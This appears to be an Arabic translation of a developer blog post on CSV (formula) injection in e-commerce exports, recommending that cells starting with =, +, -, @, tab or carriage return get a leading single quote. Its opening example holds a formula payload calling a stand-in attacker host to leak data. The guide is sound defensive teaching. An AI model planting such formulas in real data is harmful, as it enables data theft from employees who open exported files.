حقن CSV: زر التصدير الذي ينفذ الأكواد

يقوم أحد العملاء بإدخال اسمه. يكتب =HYPERLINK("http://evil.example/leak", "click"). يقبل نظامك هذا الإدخال، حيث يبدو كنص عادي.

بعد أسابيع، يقوم الفريق المالي بتصدير قائمة العملاء إلى ملف CSV. يفتحون الملف في برنامج Excel. لم تعد تلك الخلية مجرد نص، بل أصبحت معادلة.

هذا هو حقن CSV (CSV injection). ويطلق عليه البعض أيضًا حقن المعادلات (formula injection). إنه خطأ برمجي شائع في لوحات تحكم التجارة الإلكترونية، ومعظم الفرق لا تختبر وجوده.

لا تتعامل تطبيقات الجداول الحسابية مع كل خلية كنص. فإذا بدأت الخلية بـ =, أو +، أو -، أو @، فإن Excel أو Google Sheets يقرأها كمعادلة.

يمكن للمعادلة القيام بأكثر من مجرد العمليات الحسابية؛ إذ يمكنها بناء رابط URL، أو الاتصال بشبكة، وفي بعض الحالات، يمكنها تنفيذ أوامر على جهاز الكمبيوتر.

تظل البيانات نصًا في قاعدة بياناتك، لكنها تصبح قابلة للتنفيذ في اللحظة التي يفتح فيها شخص ما الملف. وعادة ما يكون الضحية موظفًا يتمتع بصلاحيات وصول عالية.

أنت معرض للخطر في أي مكان تقوم فيه بتصدير بيانات المستخدمين:

  • تصدير أسماء العملاء وعناوينهم
  • جداول الطلبات المصدرة إلى CSV
  • خلاصات المنتجات من الموردين
  • بيانات نماذج الاتصال

لا يحتاج المهاجم إلى صلاحيات مسؤول (admin). كل ما عليه فعله هو وضع اسمه في شكل معادلة والانتظار.

لا تحاول إصلاح هذه المشكلة أثناء عملية التحقق من المدخلات (input validation)؛ فالمقدار يُعتبر نصًا مشروعًا حتى يقرأه برنامج الجداول الحسابية. بدلاً من ذلك، قم بتنقية البيانات (sanitize) عند كتابة ملف CSV.

إذا بدأت الخلية بـ =, أو +، أو -، أو @، أو علامة جدولة (tab)، أو سطر جديد (carriage return)، فأضف علامة اقتباس مفردة ' في بدايتها.

المنطق البرمجي كمثال: إذا بدأت القيمة بأحد الرموز المحفزة، فقم بإرجاع "'" + value.

تخبر علامة الاقتباس المفردة برنامج الجداول الحسابية بمعاملة الخلية كنص، ويقوم البرنامج بإخفاء هذه العلامة عن المستخدم. قم بإجراء هذا الفحص على كل حقل قبل إدراجه في الملف.

لا تقم بعمل escape للبيانات في قاعدة بياناتك. القيمة سليمة في قاعدة بياناتك وسليمة في HTML الخاص بك، لكنها تصبح خطيرة فقط في ملف CSV. احمِ حدود ملف CSV لضمان بقاء بياناتك نظيفة في الأماكن الأخرى.

توقف عن الثقة في عمليات التصدير الداخلية الخاصة بك. فالمهاجمون يستهدفون موظفيك من خلال هذه الملفات.

لا يتسبب حقن CSV في إطلاق تنبيهات مخيفة من أدوات الفحص. إنه يختبئ في زر التصدير الذي قمت ببنائه منذ سنوات. افحص كود تصدير CSV الخاص بك الآن؛ فإذا لم تقم بحماية الحرف الأول من كل خلية، فأنت معرض للخطر.

المصدر: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6